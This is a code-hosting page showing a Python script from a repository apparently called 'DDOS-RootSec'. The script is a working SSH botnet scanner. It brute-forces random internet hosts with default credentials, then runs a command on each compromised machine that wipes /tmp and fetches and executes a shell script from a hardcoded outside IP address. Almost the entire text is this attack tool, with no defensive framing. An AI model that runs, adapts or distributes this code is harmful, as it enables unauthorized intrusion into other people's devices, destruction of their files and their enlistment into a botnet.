Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Scanning/AUTOSCANNER/Scan.py
5038 views
1
#!/usr/bin/env python
2
import threading, paramiko, random, socket, time, sys
3
4
paramiko.util.log_to_file("/dev/null")
5
6
blacklist = [
7
'127'
8
]
9
10
passwords = [
11
"root:root",
12
"root:admin",
13
"admin:admin",
14
"ubnt:ubnt"
15
"root:1234",
16
"admin:1234",
17
"guest:guest",
18
"user:user",
19
"test:test",
20
"pi:raspberry",
21
"vagrant:vagrant",
22
"admin:admin",
23
"admin:12345",
24
"12345:12345",
25
"admin:password",
26
"banana:pi",
27
"pi:banana",
28
"raspberry:pi",
29
"pi:raspberry",
30
"pi:pi"
31
]
32
33
if sys.argv[4] == '1':
34
passwords = ["root:root", "root:1234", "root:admin", "admin:admin", "admin:12345", "12345:12345", "admin:password", "banana:pi", "pi:banana", "raspberry:pi", "pi:raspberry", "pi:pi"]
35
if sys.argv[4] == 'stable':
36
passwords = ["root:root"]
37
if sys.argv[4] == 'perl':
38
passwords = ["pi:raspberry", "raspberry:pi", "pi:raspberry", "root:root", "vagrant:vagrant" "banana:pi"]
39
jackmeoff = random.choice(["Scan for routers"])
40
raw_input('Press <ENTER> To '+jackmeoff)
41
42
ipclassinfo = sys.argv[2]
43
if ipclassinfo == "A":
44
ip1 = sys.argv[3]
45
elif ipclassinfo == "B":
46
ip1 = sys.argv[3].split(".")[0]
47
ip2 = sys.argv[3].split(".")[1]
48
elif ipclassinfo == "C":
49
ips = sys.argv[3].split(".")
50
num=0
51
for ip in ips:
52
num=num+1
53
if num == 1:
54
ip1 = ip
55
elif num == 2:
56
ip2 = ip
57
elif num == 3:
58
ip3 = ip
59
class sshscanner(threading.Thread):
60
global passwords
61
global ipclassinfo
62
if ipclassinfo == "A":
63
global ip1
64
elif ipclassinfo == "B":
65
global ip1
66
global ip2
67
elif ipclassinfo == "C":
68
global ip1
69
global ip2
70
global ip3
71
def run(self):
72
while 1:
73
try:
74
while 1:
75
thisipisbad='no'
76
if ipclassinfo == "A":
77
self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
78
elif ipclassinfo == "B":
79
self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
80
elif ipclassinfo == "C":
81
self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
82
elif ipclassinfo == "BRAZIL":
83
br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]
84
self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
85
elif ipclassinfo == "SUPER":
86
yeet = ["102", "122","131","161","37","186","187","31","188","201","2","200"]
87
self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
88
elif ipclassinfo == "LUCKY":
89
lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]
90
self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
91
elif ipclassinfo == "LUCKY2":
92
lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]
93
self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
94
elif ipclassinfo == "RAND":
95
self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
96
elif ipclassinfo == "INTERNET":
97
lol = ["1"]
98
self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
99
else:
100
self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
101
for badip in blacklist:
102
if badip in self.host:
103
thisipisbad='yes'
104
if thisipisbad=='no':
105
break
106
username='root'
107
password=""
108
port = 22
109
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
110
s.settimeout(3)
111
s.connect((self.host, port))
112
s.close()
113
ssh = paramiko.SSHClient()
114
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
115
dobreak=False
116
for passwd in passwords:
117
if ":n/a" in passwd:
118
password=""
119
else:
120
password=passwd.split(":")[1]
121
if "n/a:" in passwd:
122
username=""
123
else:
124
username=passwd.split(":")[0]
125
try:
126
ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
127
dobreak=True
128
break
129
except:
130
pass
131
if True == dobreak:
132
break
133
badserver=True
134
stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
135
output = stdout.read()
136
if "inet addr" in output:
137
badserver=False
138
if badserver == False:
139
print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)
140
ssh.exec_command("cd /tmp; rm *; wget http://208.67.1.73/gtop.sh ; chmod +x gtop.sh ; sh gtop.sh ; rm -f gtop.sh")
141
time.sleep(20)
142
ssh.close()
143
except:
144
pass
145
146
for x in range(0,int(sys.argv[1])):
147
try:
148
t = sshscanner()
149
t.start()
150
except:
151
pass
152
153